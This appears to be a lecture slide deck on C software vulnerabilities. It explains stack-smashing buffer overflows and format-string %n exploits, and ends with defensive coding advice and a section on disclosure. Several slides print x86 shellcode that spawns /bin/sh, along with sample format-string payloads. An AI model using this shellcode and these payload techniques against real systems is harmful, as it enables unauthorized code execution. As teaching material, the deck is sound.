Software Vulnerabilities and Exploits

Brad Karp

Imperfect Software

• To be useful, software must **process input**
  – From files, network connections, keyboard...
• Programmer typically intends his code to manipulate input in particular way
  – e.g., parse HTTP request, retrieve matching content, return it to requestor
• Programs are complex, and **often include subtle bugs unforeseen by the programmer**
• Fundamentally hard to prevent all programmer error
  – Design itself may use **flawed logic**
  – Even formal reasoning may not capture all ways in which program may deviate from desired behavior
  – Remember: security is a negative goal...
Imperfect Software (2)

- Even if logic correct, implementation may vary from programmer intent
- C and C++ particularly dangerous
  - Allow arbitrary manipulation of pointers
  - Require programmer-directed allocation and freeing of memory
  - Don’t provide memory safety; very difficult to reason about which portions of memory a line of C changes
  - Offer high performance, so extremely prevalent, especially in network servers and OSes
- Java offers memory safety, but not a panacea
  - JRE written in (many thousands of lines of) C!
Software Vulnerabilities and Exploits

• **Vulnerability:** broadly speaking, input-dependent bug that can cause program to complete operations that deviate from programmer’s intent

• **Exploit:** input that, when presented to program, triggers a particular vulnerability

• Attacker can use exploit to **execute operations without authorization** on vulnerable host

• Vulnerable program executes with some privilege level
  – Many network servers execute as superuser
  – Users run applications with their own user ID
  – Result: great opportunity for exploits to do harm
Software Vulnerabilities and Exploits

- **Vulnerability:** broadly speaking, input-dependent bug that can cause program to complete operations that deviate from programmer’s intent
- **Exploit:** input that, when presented to program, triggers a particular vulnerability
- Attacker can use exploit to execute operations without authorization on vulnerable host
- Many network servers execute as superuser
- Users run applications with their own user ID
- Result: great opportunity for exploits to do harm

Today: vulnerabilities in C programs that allow an attacker to execute his own arbitrary code within the vulnerable program without authorization on vulnerable host
Buffer Overflows in C: General Idea

• Buffers (arrays) in C manipulated using pointers
• C allows arbitrary arithmetic on pointers
  – Compiler has no notion of size of object pointed to
  – So programmers must explicitly check in code that pointer remains within intended object
  – But programmers often do not do so; vulnerability!
• Buffer overflows used in many exploits:
  – Input long data that runs past end of programmer’s buffer, over memory that guides program control flow
  – Enclose code you want executed within data
  – Overwrite control flow info with address of your code!
Memory Map of a UNIX Process

- **Text**: executable instructions, read-only data; size fixed at compile time
- **Data**: initialized and uninitialized; grows towards higher addresses
- **Stack**: LIFO, holds function arguments and local variables; grows toward lower addresses
Intel X86 Stack: Stack Frames

- Region of stack used within C function: *stack frame*
- Within function, *local variables* allocated on stack
- SP register: *stack pointer*, points to top of stack
- BP register: *frame pointer (aka base pointer)*, points to bottom of stack frame of currently executing function
To call function \( f() \), allocate new stack frame:
- Push arguments, e.g., \( f(a, b, c) \)
- Push return address: next instruction (IP) in caller
- Set IP = address of \( f() \); jump to callee
- Push saved frame pointer: BP for caller’s stack frame
- Set BP = SP; sets frame pointer to start of new frame
- Set SP -= sizeof(locals); allocates local variables

Upon return from \( f() \), deallocate stack frame:
- Set SP += sizeof(locals); deallocates local variables
- Set BP = saved frame pointer from stack; change to caller’s stack frame
- Set IP = saved return address from stack; return to next instruction in caller
Example: Simple C Function Call

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Example: Simple C Function Call

```c
void dorequest(int a, int b) {
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}

Example: Simple C Function Call
Example: Simple C Function Call

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Example: Simple C Function Call

```c
void dorequest(int a, int b)
{
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Stack Smashing Exploits: Basic Idea

- Return address stored on stack directly influences program control flow.
- Stack frame layout: local variables allocated just before return address.
- If programmer allocates buffer as local on stack, reads input, and writes it into buffer without checking input fits in buffer:
  - Send input containing shellcode you wish to run.
  - Write past end of buffer, and overwrite return address with address of your code within stack buffer.
  - When function returns, your code executes!
Example: Stack Smashing

```c
void dorequest(int a, int b) {
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Example: Stack Smashing

```c
void dorequest(int a, int b) {
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```

- **malicious input**: shell code
- **Increasing memory addresses**
  - request
  - saved fp
  - return addr
  - args
  - main()'s stack frame

- **0x80707336**
- **0x63441827**
- **17**
- **38**
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed
”);
    }
    malicious input
    local vars
    Increasing memory addresses
    saved fp
    return addr
    args
    main()’s stack frame
    0x80707336
    0x63441827
    17
    38
    shell code
    shell code
Example: Stack Smashing

```c
void dorequest(int a, int b)
{
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```

**malicious input**
```c
void dorequest(int a, int b)
{
  char request[256];

  scanf("%s", request);
  /* process the request... */
  ...
  return;
}

int main(int argc, char **argv)
{
  while (1) {
    dorequest(17, 38);
    fprintf(log, "completed\n");
  }
  malicious input
  shell code
}
```

Example: Stack Smashing

Increasing memory addresses

- **shell code**
- **local vars**
- **saved fp**
- **return addr**
- **args**
- **main()’s stack frame**

Increasing memory addresses:

- **0x63441827**
- **0x80707336**

Local vars:

- **17**
- **38**
Example: Stack Smashing

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);  
        fprintf (log, "completed\n");
    }
}
```
Example: Stack Smashing

void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
}

Owned!
Designing a Stack Smashing Exploit

• In our example, attacker had to know:
  – existence of stack-allocated buffer without bounds check in program
  – exact address for start of stack-allocated buffer
  – exact offset of return address beyond buffer start

• Hard to predict these exact values:
  – stack size before call to function containing vulnerability may vary, changing exact buffer address
  – attacker may not know exact buffer size

• Don’t need to know either exact value, though!
Designing a Stack Smashing Exploit (2)

• No need to know exact return address:
  – Precede shellcode with **NOP slide**: long sequence of NOPs (or equivalent instructions)
  – So long as jump into NOP slide, shellcode executes
  – Effect: range of return addresses works

• No need to know exact offset of return address beyond buffer start:
  – Repeat shellcode’s address many times in input
  – So long as first instance occurs before return address’s location on stack, and enough repeats, will overwrite it
void dorequest(int a, int b) {
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
Example: Stack Smashing "2.0"

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
}
```

Increasing memory addresses:
- Request
- Local vars
- Saved fp
- Return addr
- Args
- Main()'s stack frame

Malicious input: NOP slide, shell code
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed\n”);
    }
}

Example: Stack Smashing “2.0”

malicious input

NOP slide

shell code

main()’s stack frame

Increasing memory addresses

local vars

saved fp

return addr

args

0x80707336

0x63441827

17

38

27
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ... 
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed
”);
    }
}

Example: Stack Smashing “2.0”

Increasing memory addresses

local vars

saved fp

return addr

args

main()’s stack frame

malicious input

NOP slide

shell code

0x80707336

0x63441827

17

38
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ... return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}

Example: Stack Smashing “2.0”
Designing Practical Shellcode

- Shellcode normally executes /bin/sh; gives attacker a shell on exploited machine
- shellcode.c:

```c
void main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0); /* if execve fails, don’t */
}          /* dump core */
```
Designing Practical Shellcode (2)

- Compile shellcode.c, disassemble in gdb to get hex representation of instructions
- Problem: to call execve(), must know exact address of string “/bin/sh” in memory (i.e., within stack buffer)
  - Difficult to predict, as before
Designing Practical Shellcode (3)

• Both jmp and call instructions allow IP-relative addressing
  – Specify target by offset from current IP, not by absolute address

• Finding absolute address of “/bin/sh” at runtime:
  – add call instruction at end of shellcode, with target of first shellcode instruction, using relative addressing
  – place “/bin/sh” immediately after call instruction
  – call will push next “instruction’s” address onto stack
  – precede first shellcode instruction with jmp to call, using relative addressing
  – after call, stack will contain address of “/bin/sh”
Practical Shellcode Example

```assembly
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes
```
Practical Shellcode Example

jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes
Practical Shellcode Example

jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes

Writes string address on stack!
Practical Shellcode Example

```
jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
movb $0x0,0x7(%esi)  # 4 bytes
movl $0x0,0xc(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
```

```
call -0x2f  # 5 bytes
.strib "\"/bin/sh\""  # 8 bytes
```
Practical Shellcode Example

```
jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
movb $0x0,0x7(%esi)  # 4 bytes
movl $0x0,0xc(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
call -0x2f  # 5 bytes
.string "/bin/sh"  # 8 bytes
```
Eliminating Null Bytes in Shellcode

• Often vulnerability copies string into buffer
• C marks end of string with zero byte
  – So functions like `strcpy()` will stop copying if they encounter zero byte in shellcode instructions!
• Solution: replace shellcode instructions containing zero bytes with equivalent instructions that don’t contain zeroes in their encodings
Defensive Coding to Avoid Buffer Overflows

- **Always explicitly check input length against target buffer size**
- Avoid C library calls that don’t do length checking:
  - e.g., `sprintf(buf, ...)`, `scanf(“%s”, buf)`, `strcpy(buf, input)`
- **Better:**
  - `snprintf(buf, buflen, ...)`, `scanf(“%256s”, buf)`, `strncpy(buf, input, 256)`
Overview: Format String
Vulnerabilities and Exploits

• Recall C’s printf-like functions:
  – `printf(char *fmtstr, arg1, arg2, ...)`
  – e.g., `printf("%d %d", 17, 42);`
  – Format string in 1st argument specifies number and type of further arguments

• Vulnerability:
  – If programmer allows input to be used as format string, attacker can force printf-like function to overwrite memory
  – So attacker can devise exploit input that includes shellcode, overwrites return address...
Background: %n Format String Specifier

• "%n" format string specifier directs printf to write number of bytes written thus far into the integer pointed to by the matching int * argument

• Example:

```c
int i;
printf("foobarn\n", (int *) &i);
printf("i = %d\n", i);
```

• Output:

```plaintext
foobar
i = 6
```
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments
  [suppose input = “%d%d%d\n”]
  ```c
  char fmt[26];
  strncpy(fmt, input, 25);
  printf(fmt, 1, 2, 3);
  ```
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments
  
  [suppose input = “%d%d%d\n”]
  ```c
  char fmt[26];
  strncpy(fmt, input, 25);
  printf(fmt, 1, 2, 3);
  ```
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing `%n` to Overwrite Memory

- `printf`'s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- `printf()` increments pointer to point to successive arguments

[suppose input = "%d%d%d\n"]
```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```

```c
fmt buffer
```
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

[suppose input = “%d%d%d\n”]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing `\%n` to Overwrite Memory

- `printf`'s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- `printf()` increments pointer to point to successive arguments

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing %n to Overwrite Memory

- printf's caller often allocates format string buffer on stack

  - Supply target address to write at start of format string
  - Supply “%n” at end of format string

[input = “\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x%n”]

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing %n to Overwrite Memory (2)

- **Idea:**
  - Use specifiers in format string to increment printf()’s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply “%n” at end of format string

[input = "\xc0\xc8\xff\xbf%08x%08x%08x %08x%08x%n"]

char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing \%n to Overwrite Memory (2)

- Idea:
  - Use specifiers in format string to increment printf()’s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply \"\%n\" at end of format string

[input = \"\x00\x08\xff\xbf\%08x\%08x\%08x\%08x\%\n\"]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing %n to Overwrite Memory (2)

- Idea:
  - Use specifiers in format string to increment printf()'s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply "%n" at end of format string

Result: can overwrite chosen location with small integer
Still need to choose value we overwrite with...

[input = "\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x%08x%08x"
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);]
Controlling Value Written by \%n

- \%n writes number of bytes printed
- But number of bytes printed controlled by format string!
  - Format specifiers allow indication of exactly how many characters to output
    - e.g., “\%20u” means “use 20 digits when printing this unsigned integer”
- So we can use “\%[N]u\%n” format specifier to set least significant byte of target address to value [N]!
Example: Using %[N]u%n

- Example format string:
  "[spop]\x01\x01\x01\x01\xc0\xc8\xff\xbf%50u%n"
- [spop] is sequence of "%08x" values, to advance printf()’s arg pointer to first byte after [spop]
- \x01\x01\x01\x01 is dummy integer, to be consumed by %50u
- \xc0\xc8\xff\xbf is address of integer whose least significant byte will be changed by %n
- %50u sets number of output bytes to 50 (0x32)
- %n writes number of output bytes to target address
- Result: least significant byte of 4-byte value at 0xbfffc8c0 overwritten with number of bytes printed total: 0x32 + 0x08 + [bytes printed by spop]
Overwriting Full 4-Byte Values

• Template for format string:

[4 non-zero bytes (dummy int)]
[4 bytes target address]
[dummy int][4 bytes (target address + 1)]
[dummy int][4 bytes (target address + 2)]
[dummy int][4 bytes (target address + 3)]
[spop]
%[1st byte value to write]u%n
%[2nd byte value to write]u%n
%[3rd byte value to write]u%n
%[4th byte value to write]u%n

• N.B. LSB always in lowest memory address (Intel is little-endian)
Overwriting 4-Byte Values (2)

- Counter for %n is cumulative
- But only least significant byte written matters
- Say %n count is x so far, want next overwritten byte to have value y
- Next %u should be %[N]u, where:
  \[ N = (0x100 + y - (x \mod 0x100)) \mod 0x100 \]
  
  if (N < 10) 
  \[ N += 0x100 \]
Format String Vulnerabilities Are Real and Versatile

- Example: `wu-ftp < 2.6.0`:

```c
char buffer[512];
snprintf(buffer, sizeof(buffer), user);
buffer[sizeof(buffer) - 1] = '\0';
```

- Ability to overwrite arbitrary memory makes format string vulnerabilities versatile:
  - Sure, can overwrite return address to return to shellcode, but other ways to attack, too
  - If server contains “superuser” flag (0 or 1), just overwrite that flag to be 1...
Vulnerability Prevalence

- More scrutiny of software than ever
- Little overall progress in producing vulnerability-free software

Disclosure and Patching of Vulnerabilities

- Software vendors and open-source developers audit code, release vulnerability reports
  - Usually describe vulnerability, but don’t give exploit
  - Often include announcement of patch
- Race after disclosure: users patch, attackers devise exploit
  - Users often lazy or unwilling to patch; “patches” can break software, or include new vulnerabilities
- Attackers prize exploits for undisclosed vulnerabilities: zero-day exploits
- Disclosure best for users: can patch or disable, vs. risk of widest harm by zero-day exploit
Summary

• Many categories of vulnerabilities in C/C++ binaries; \textcolor{red}{2 we’ve seen hardly exhaustive}

• Incentives for attackers to find vulnerabilities and design exploits are high
  \begin{itemize}
  \item Arbitrary code injection allows:
    \begin{itemize}
    \item Defacing of widely viewed web site
    \item Stealing valuable confidential data from server
    \item Destruction of data on server
    \item Recruitment of zombies to botnets (spam, DoS)
    \end{itemize}
  \end{itemize}
  \begin{itemize}
  \item Market in vulnerabilities and exploits!
  \end{itemize}

• Preventing all exploits extremely challenging
  \begin{itemize}
  \item Stopping one category leads attackers to use others
  \item New categories continually arising
  \end{itemize}
